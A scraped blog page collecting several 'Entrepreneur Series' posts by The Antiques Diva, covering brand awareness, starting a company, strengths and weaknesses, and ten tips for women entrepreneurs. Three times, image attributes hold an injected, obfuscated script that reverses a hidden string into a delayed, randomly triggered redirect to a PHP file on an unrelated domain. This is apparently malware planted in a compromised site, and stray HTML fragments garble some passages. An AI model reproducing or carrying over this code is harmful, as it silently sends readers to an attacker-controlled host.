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Entrepreneur Series – Creating Awareness of a Niche Brand

As my niche brand has grown I’m being asked more and more to speak around the world at furniture fairs and interior design centers giving advice to other entrepreneurs on running and operating their niche businesses. One of the most frequent things I am asked to talk about is how I started my business. But perhaps just as frequently as telling my story of how I went from being a 1 woman firm to becoming CEO of Europe’s largest antiques touring company, I’m asked to explain what my job even is! This was perhaps the biggest challenge my business has faced since its inception—a lack of awareness that the service we offer even exists!

People have heard of tours and they’ve heard of antiques… But what are Antiques Buying Tours?

Educate Your Clients
My first job as an entrepreneur is to educate my clients – what I do, how I do it, what benefit my service gives them, and why they would want to use my service rather than attempting to do it themselves!

Entrepreneur Series- Creating Awareness of a Niche Brand

You’re already reading my blog so perhaps you’ve figured this out:

we take clients shopping on one-on-one customized antique buying tours to help both private clients as well as trade professionals shop for antiques overseas in 8 countries.

Our client tells us what they want and we make a personalized plan for getting them to the most number of potential purchases in the shortest period of time.

  • We save our clients time and money.
  • We translate.
  • We negotiate.
  • And most importantly, we have relationships.

I’ve said for years that “Antiquing in Europe” is a secret society and if you’re introduced properly by the right names in the industry you’ll receive better service, better prices and more access to even better inventory. When you walk into a dealer’s store (or their private home or warehouse) on the arm of your Antiques Diva Guide you’re not just walking in with your buying power – but the buying power of all our clients!

Communicate What Makes Your Service Valuable
More to the point… when a new antiques dealer opens shop in Europe we’re usually the first to hear about them… which means while you might be able to use Google to find some of the dealers we visit on our antique buying tours… there’s no way you would find all of them! Our database is always growing and we’re always one step ahead of the game. Because we know the dealers personally we’re not only able to get you better prices – but we’re often able to get after-hours appointments. On more than one occasion I’ve even been given the keys to antiques warehouse whose owner was away on holiday, and go in and poke around without the vendor! And we’re operating a turn key business here – once the buying is done at The Antiques Diva & Co we either liaise our clients with a 3rd party shipper or work with our own in-house shipping firm to help clients get their purchases home sweet home across the pond.

Entrepreneur Series- Creating Awareness of a Niche Brand

Educating Your Client
Getting the message out about what we do is as important as doing it – because if people don’t know what we do they won’t know to come to us to do it. In this month’s Entrepreneur Blog as part of our continuing series I want to talk about the importance of educating your client. As an entrepreneur in any niche market, educating the public and potential clients on what you do and how you do it not only adds value to your business but it is imperative for the success of your small business.

Ask For Help
Once people understand your services or product, it’s important that they are able to find your website so they can contact you! That’s where SEO (search engine optimization) comes in. For me, SEO feels like a foreign language. I am not a tech person… Heck, I work in antiques… I like old things and I still write my To Do List on sheets of paper! I’m an old fashioned girl living in a technology-driven world. So what’s my first rule of business? Ask for help. Set aside your pride and ask someone who knows more than you to help you with what you need. They can implement an entire SEO strategy for you – or they can simply write a plan that you follow yourself.

Entrepreneur Series- Creating Awareness of a Niche Brand

From the very beginning my blog has been essential in getting readers aware about our services. My business started as a blog and readers began emailing asking for a service and a business was born. More often that not clients find us not by googling Antique Buying Tours – but rather by googling one of their questions about their upcoming European buying trip they are desperately attempting to coordinate themselves. They stumble upon our website while searching for answers to their questions about shopping abroad and voila, we’ve got a new client!

Entrepreneur Series- Creating Awareness of a Niche Brand

Be Generous With Information
Whether on my blog or when I speak on where to go antiquing in Europe – I give away ALOT of INFORMATION. I tell people HOW they can do it themselves!! People often ask me why I share so much free information about antiquing abroad – where to go and what to do. The answer is simple. By sharing information, I am able to get more clients. It establishes me as an expert, thus giving potential clients more trust in the benefits of working with my company, and okay…let’s face it, I genuinely like helping people, so it’s my pleasure to share information. That’s why I got into this industry! At The Antiques Diva & Co we are INCLUSIVE. We are having a fabulous time shopping in Europe and we want you to come along with us and enjoy not only the fun but also the unprecedented access to the best antiques Europe has to offer.

PR has been imperative in educating the industry not only on what services we offer, but also what the advantages are of buying overseas. Just one example of those advantages is the fact that antiques purchased in Europe can get a markup of 3 to 5 times cost when sold in the USA. We also take the intimidation out of buying antiques overseas by taking clients by the hand to our vast list of sources.

People are often afraid of buying overseas… what if I get ripped off? What if a vendor tries to sell me a fake. While I can’t guarantee we won’t be fooled… I can guarantee that if we experience a vendor OUTRIGHT LYING to our clients… We don’t return to that vendor and that vendor doesn’t just lose 1 client… but potentially 100’s. All of these things make our services valuable! Being able to communicate that succinctly is so important, especially when your business is just getting off the ground. Think about what core benefits your company offers – write them out – ask clients for their opinion on what benefit you offer them – and then — USE that information to craft your company message.

Entrepreneur Series- Creating Awareness of a Niche Brand

Just Do It
For a niche industry like this, you’ve got to know how to get started. I’ve said it before and I’ll say it again – The best way to get started is to JUST DO IT! Don’t hesitate, don’t let fear of not knowing enough stop you – jump into the deep end and start swimming. You may need a flotation device at first… but you have to really do your job before you realize how little you actually know about it! You learn by trial and error. For me, the most important thing I do is build my little black book of contacts on both sides of the pond. I have to simultaneously keep building my potential client list as well as my vendor list. At The Antiques Diva & Co we don’t sell antiques – we sell relationships. We introduce buyers to sellers, bridging the international gap. If we were a dating service – we’d be matchmakers, madame’s of the antiques industry.

The most important asset we offer cannot be bought – you need relationships in order to be successful in this industry and many niche industries.

Get out there, make yourself known, go to the places where the people in your industry gather, meet potential vendors, meet potential clients. Network like you mean it. Meanwhile, learn all you can. Be a jack of all trades. In my industry that means I have to dip my manicured hands into antiques, learning the entire process – from how to restore antiques, to appraise antiques, to ship antiques. The more you know about all aspects of your industry the better you’ll be. Keep Learning.

Entrepreneur Series- Creating Awareness of a Niche Brand

Use All Your Past Experiences
I also recommend using all your past experiences when it comes to starting a business in a niche market. What have you done in a previous life that can benefit you now?? The best training I had for working in antiques was working in advertising and marketing in both Boston and Cleveland before moving overseas. I had big name clients such as Dunkin Donuts, Target, McDonalds and Pearl Vision. Doing their marketing was the best education I could have had before starting my own company. From the beginning I employed the same level of brand management and marketing strategies in my own campaigns as I would have with big brand clients. While today The Antiques Diva & Co is a small but international company – working with a team of 21 locally-based guides in 8 countries – as a brand we have a big brand presence within a niche part of the interior design industry. In fact, one of the leaders in my industry, Dwayne Clark, recently was quoted as saying I have one of the best niche businesses in this industry.

Be Flexible
With a very small budget when first starting my company, I invested initially in graphic design. Giving my company a strong recognizable logo was key in building brand awareness. I was then able to employ guerrilla marketing techniques through social media to spread the word about our services, establish our brand presence and personality. When working in promotion marketing and advertising my strength had been in new business development, coming up with multiple ideas for campaigns and solutions to a variety of industry challenges. It trained me to have flexibility in my mind – in my way of thinking – aiding me to react swiftly with clarity of thought to changing dynamics and perhaps most importantly, to see clearly ways in which I can increase and broaden my current business portfolio. It also trained me to recognize when it’s time to change. We recently launched a new website which was desperately needed, and you’ll see we have a new logo. AD&CO is growing up and it’s time for a new look that represents our brand and our audience better. As always you have to be willing to change, to be flexible and roll with the times. As an entrepreneur running a niche brand your job is not to do everything, it’s not to know everything… all you have to do is know the right people.

Entrepreneur Series- Creating Awareness of a Niche Brand

Whatever business you want to start, as an entrepreneur it is important to be able to define your role in the industry, communicate the service or product you offer and why it adds value, and then get the word out there that your company exists! Most often, entrepreneurs are responding to a need they see—something that’s missing in the market that people can use. Remember, get in front of the right people, and then give them what they want! When your company is serving them and adding value, it won’t be long until others come knocking on your door.

Your CEO in Stilettos,

Toma Clark Haines, The Antiques Diva®

Entrepreneur Series- Starting a Company

Dear Diva Readers,

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Entrepreneur Series- Starting a Company Trust Yourself

 

I originally was writing a series of books about antiquing in Europe, but with the recession of 2008, no one was publishing books. When my book series wasn’t published, naysayers encouraged me to throw in the towel and channel my energies towards more economically viable business models saying, “Forget antiques, design and travel – there’s no money to be made there.” And I ignored them. I learned early on that I had a vision that others couldn’t see. When you own your own company it’s imperative you trust your instincts. That may be one of the best pieces of advice I can give.

Entrepreneur Series- Starting a Company The path <script data-recalc-dims=$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Success is Perseverance” width=”212″ height=”300″ />

You absolutely should seek advice from experts – but recognize that just because an expert has good advice, it does not mean their advice is applicable for your situation right now. Some pieces of advice I save for later. Others I negate as invalid. Above all else – do not doubt yourself. No one knows your business as well as you do and the surest way towards success is PERSEVERANCE. Gage what you have control over, set a realistic target and then steadfastly walk in the direction of that goal each day. When that goal is met – move the target – and keep going forward.

Entrepreneur Series- Starting a Company Just do it

That leads me to another very important piece of advice for young entrepreneurs. Just do it. A lot of people talk about starting a company – but the only people who succeed in business are those that just do it. Do not wait until you are an expert in your field. Do not wait until you know everything there is to know. Do not wait until you are perfect. Just do it. When it comes to brand evolution, perhaps the most scandalous piece of business advice I can share is this: Do not wait until you’ve got the perfect business plan in place to start your business. Yes, you DO need a business plan. But it doesn’t have to be perfect. A good business plan will evolve over time as you learn more about your market, discover hidden sources of incomes and grow into your service. A successful brand will establish parameters which stay consistent – within which to operate – but it will evolve with the market and economic environment.

By listening to your gut instinct, planning as much as you can, and just doing it, you will be well on the way to starting a business that is as unique as you are. It’s important to listen to the advice of others, but it’s just as important to listen to your own voice and do what you know you need to do.

Gook luck,

The Antiques Diva®

Entrepreneur Series- Strengths and Weaknesses

Dear Diva Readers,

To continue our Entrepreneur Series, I want to talk about something that all aspiring business people should be aware of: their Strengths and Weaknesses.

Entrepreneur Series- Strengths and Weaknesses Examine your Strengths slogan

My Biggest Weakness in both my professional and personal life is Time. We all have the same 24 hours in a day, and it is crucial to identify what you can do well and what you can’t do so well in that time in order to grow a thriving business. Due to a constant travel schedule, time is one thing that seems to always allude me. I have to be aware of what I’m able to accomplish within a 24 hour period and what I need to delegate.

Entrepreneur Series- Strengths and Weaknesses we all have the same 24 hours in a Day

Running a company is a sure-fire way to guarantee you’re sleep deprived. In the beginning I didn’t have the money to hire staff or outsource certain services so I did everything myself. Today even with a team of 18 people, there is still never enough time to complete the tasks that need to be done each day. I spend more than 200 nights per year on the road traveling so managing my schedule takes a lot of prioritizing. And at the end of the day I’ve had to accept that some things simply don’t get done.

I have, however, created a system for organizing my schedule that time-blocks certain tasks so that I maximize my energy mode. For example, administrative tasks, when lumped together in an hour, go faster than if randomly done throughout the day. If I do all my creative tasks at the same time, my brain needs less “warm up” time when starting new projects and I get in the “mode” and am able to work faster. By time-blocking tasks by category – administrative, financial, creative, marketing, follow up/clients contact, etc I’m more productive and am able to get more done during the allotted time.

I’ve also learned to listen to my body in determining my natural rythym and thus work when I am most productive. For me it’s in the early morning hours – I wake daily around 4am and have 4 hours in my office before most people leave to go to work. During those 4 hours I am able to accomplish twice as much work as I’m uninterrupted and have high energy.

Entrepreneur Series- Strengths and Weaknesses Take a Break

And believe it or not – one of the biggest solutions to managing my time crunch – has been learning to take a break. Each morning after my first 4 hours in the office – I go for a walk. Exercise gets the blood flowing and wakes up the brain. I’m able to use this time to process and think through things that need more dedicated time, while doing something healthy. It also enables me to think more creatively about work problems, finding solutions while in that new environment walking in nature or working out with my trainer.

While my company might be called The Antiques Diva® & Co but there is no room for being a diva when it comes to running a successful business. The key to my professional success has been an utter lack of ego. Yep! I catch the irony that I am BRAGGING about lack of ego…. but hey let’s face it – my company name Diva wouldn’t work if we really were divas in the shoe throwing since the word! Lack of Ego as a strength means recognizing it’s NOT all about me. The client comes first. And I dont always have to be right or know the answer – I’m not afraid to admit to myself, an employee, or even a client when I don’t know the answer to their question. While I may not always know the answer – I usually know how to find those who do know the answer – that’s another of my strengths – my global network. We’ve grown as a company because I’ve surrounded myself with experts who strengthen me and my brand. Externally we’ve hired graphic artists, lawyers, accountants, publicists and social media gurus, while internally I’ve hired a slew of people who have different skills, knowledge levels, languages and contacts to serve as our locally based Diva Guides as well as Office Staff.

Entrepreneur Series- Strengths and Weaknesses Just because you can do something slogan

A big realization that has allowed my company to grow is the realization that just because I can do something within my company doesn’t mean I have to be the one doing it or that it is the best place for me to be spending my time. I assess where my time is best spent and prioritize my schedule to align with what yields the greatest results for the company overall. Sometimes this means more time is spent on stage front and center while other times it means I’m stepping behind the scenes spending more time on strategy instead of implementation.

Regardless of what type of company you’re running, it is crucial to understand that time is one of the most valuable assets you have. Learning what you can do (and do well) in a day, and what needs to be outsourced or delegated can really give you an edge when it comes to growing a business.

Go Rock the World.

The Antiques Diva®

My Top 10 Advice on Becoming a Woman Entrepreneur

Dear Diva Readers,

top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-top: 1px; padding-right: 5px; font-family: times;”>No matter where I am in the world, I constantly have people coming up to me asking the same question… “How do you do it?!”  They wonder not only how I juggle my slightly insane international travel schedule which has me traveling each month in multiple countries (if not multiple continents); but also how I have rapidly grown my company from being a one-woman brand into a full-on business with nearly 20 employees scattered over 10 countries.

Over the last several years my role within in my company has shifted. In addition to leading antique buying tours and offering personal shopping services, I now manage a team of locally-based “ Diva Guides” who lead tours for me across Europe.  I’m managing a global company that has HR and Accounting demands as well as Marketing needs with a full-on PR machine behind it.   These last several years my role has also shifted to encompass speaking at conferences and design markets – I love sharing my knowledge of European antiques, teaching clients – whether on tour or in one of my seminars – how to source antiques, explaining what to buy and where to buy it and then answering the all important question…. how to get it home.  But here lately the biggest question my clients and attendees of my lectures have asked is for my advice as a woman entrepreneur….  “How do I start my own company? develop my brand? take my business to the next level?  What words of advice – or encouragement – do you have for me  in growing my business/brand?”  They also want to know about that about that all important question of maintaining a work/life balance.  How I organize my time, my to do lists, my company and my life.  I’m passionate about the subject and thus this genre of questions have taken on a life of their own and I’ve decided to announce a new blog series I’ll be posting the first week of each month “On Being a Woman Entrepreneur”.

Advice #1
My first bit of advice I give anyone who asks me about growing their business is to Be Adaptable.  Be Open to Change. Look at what the market is demanding and think outside the box regarding what you and your unique service can be to meet those needs.  Many of my loyal blog readers know my story. I started my blog on antiquing in Europe with an intent to write a couple of books.  What I got in return – an international company operating in 10 countries with 20 employees –  was a million times bigger than my original dream.

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Advice #2
Don’t be afraid to dream a little bigger, darling.  Don’t be so focused on your own goals that you miss an opportunity when serendipity slaps you over the head.   When the recession hit in 2008 and the publishing industry dried up, telling me my luxury-based travel books wouldn’t sell, I didn’t give up my dream of being “The Antiques Diva”.

Top 10 Lists, Women Entrepreneurs, Career advice for starting a business, Building your Brand, From Blog <script data-recalc-dims=$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Business, Toma Clark Haines, The Antiques Diva, The Secret to Success ” width=”375″ height=”542″ />

Advice #3
Never Give Up.  I continued working on my blog to establish a platform that would establish me as an expert in my industry.  As they say when one door closes, another one opens. Readers of my blog started emailing me asking if I would take them on tour. I said Yes.

Top 10 Lists, Women Entrepreneurs, Career advice for starting a business, Building your Brand, From Blog <script data-recalc-dims=$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}to Business, Toma Clark Haines, The Antiques Diva, The Secret to Success ” width=”375″ height=”532″ />

Advice #4
When opportunity strikes – Say Yes.  For me, one “Yes” turned into another and then another and the rest is history – but I have a confession… I was tempted to let self-doubt stand in the way.

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Advice #5
No matter how much you know – you will never know enough.    There will always be reasons to doubt yourself.  When readers first started emailing me asking to take tours – I could have said “I’m not an expert yet”, “I don’t know enough” or “I need more time.”  And in fact – I said all these things to myself. And then I threw myself off a cliff.  Okay, not literally. Figuratively. I said Yes in spite of my self-doubt and that first Yes changed my life. It can be so easy to get caught up in the small details, but remember:  your objective is to grow steadily, not start out perfectly.

Advice # 6
When opportunity strikes do not be afraid to take a chance.  Don’t over-think your decision.  If you wait to start your business until you know everything there is to know about your industry, you are never going to start your business

Advice #7
Screw the business plan.  Yep. This is one piece of business advice no one will tell you.  Do not wait until you’ve got the perfect business plan in place to start your business.  Yes, you DO need a business plan. But it doesn’t have to be perfect.  A good business plan will evolve over time. My business changes, grows and adapts nearly every month – and if you want to know the secret to our success as a company – go back and see Advice #1 – Be Adaptable.  But before you can adapt… you’ve got to get started first.  And from my experience the biggest obstacle people have in starting their own business is they actually never start it! They spend too much time thinking about starting a business and not actually doing it.

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Advice #8
Just Do It.  The best piece of advice I can offer comes from the popular Nike slogan – Just Do It!  The biggest thing that holds people back from achieving their goals the fact that they just don’t do what they say they want to do.  It seems simple, but so often we think we have to be perfect or we have to have a fail-proof plan before we can even begin to take steps toward our dreams.  That simply isn’t the case. You have to start somewhere and even if you don’t have all the knowledge at the beginning, you will learn by experience along the way.

Advice #9
Don’t be afraid to make mistakes.  You will make mistakes.  Accept them. Learn from them. Apologize if you screw up along the way and move on.  The only person who never makes mistakes is someone who never takes chances.

Advice #10
Most goals are reached by taking one step at a time. When people ask “What’s the secret to my success…” the answer is simple… for the last 7 years since starting my company I have continued to put one foot in front of the other.  Every single day I have walked steadfastly in the direction of my goal.  I’ve taken detours along the way,  I’ve even fallen down a few times.  And I changed the destination, making my goal bigger – and my destination further away – than I ever intended when I started out.  But I have never once taken my eyes off my goal – my destination. Between you and me,  I’m still a long way from reaching my destination – but I can see the destination on the horizon… and in the meantime, life’s a journey….

As I close I leave you with one last bonus bit of advice – consider this the extra donut in the baker’s dozen – Start now, Right Where You Are, And Do One Thing To Achieve Your Goal.  And then Do It Again. And Do It Again.  And Just Keep Doing It.

Until next time, may all your dreams come true.

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The Antiques Diva®   

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The Antiques Diva & Co offers custom planned Antiques Buying Tours for tourists and trade professionals. Whether you’re looking to buy one specific piece or wanting to fill an entire container, our personal shopping antique buying guides share their vast knowledge of secret sources to take you to all the right places.

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